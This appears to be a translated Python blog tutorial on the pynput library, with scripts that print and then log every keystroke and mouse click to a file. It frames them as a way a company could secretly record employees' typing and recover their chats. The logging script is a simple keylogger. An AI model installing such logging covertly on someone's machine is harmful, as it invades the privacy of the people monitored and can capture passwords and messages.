This article is participating in Python Theme Month. See the link to the event for more details

preface

Today, one of my colleagues was joking with me about XX in the company. I told him not to say this on the company computer, because it might get sniped. He didn’t believe me at first, until I wrote this article, he suddenly understood.

About pynput

Pynput can monitor our keyboard and mouse. There are a lot of libraries out there that do this, like PyGame, but when all we need to do is monitor the keyboard and mouse, they are too cumbersome. We can opt for the lightweight, fast PyNput.

The instance

The keyboard monitoring

Suppose the company wanted to silence a background process for our computers to monitor and record our keytyping, they could probably do it like this:

from pynput import keyboard


def on_press(key) :
    print(f'{key} :pushed')

def on_release(key) :
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
Copy the code

Console print:

The mouse control

from pynput import mouse

def on_click(x, y, button, pressed) :
    if button == mouse.Button.left:
        print('left was pressed! ')
    elif button == mouse.Button.right:
        print('right was pressed! ')
        return False
    else:
        print('mid was pressed! ')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
Copy the code

Console print:

You’ll notice that each print is printed twice, because pressing and lifting both trigger mouse events.

Monitor and record to log file

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# Define log file
logger.add('demo.log')
def on_press(key) :
    logger.debug(f'{key} :pushed')

def on_release(key) :
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# define f1 for thread 1
def f1() :
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed) :
    if button == mouse.Button.left:
        logger.debug('left was pressed! ')
    elif button == mouse.Button.right:
        logger.debug('right was pressed! ')
        return False
    else:
        logger.debug('mid was pressed! ')

# define f2 for thread 2
def f2() :
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # Start two threads to monitor the keyboard and mouse respectively
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
Copy the code

View log content:

As mentioned above, all of our keyboard operations have been logged, and simple NLTK language processing on this log file will restore your chat history.

That’s all for today, thanks for reading, see you next time.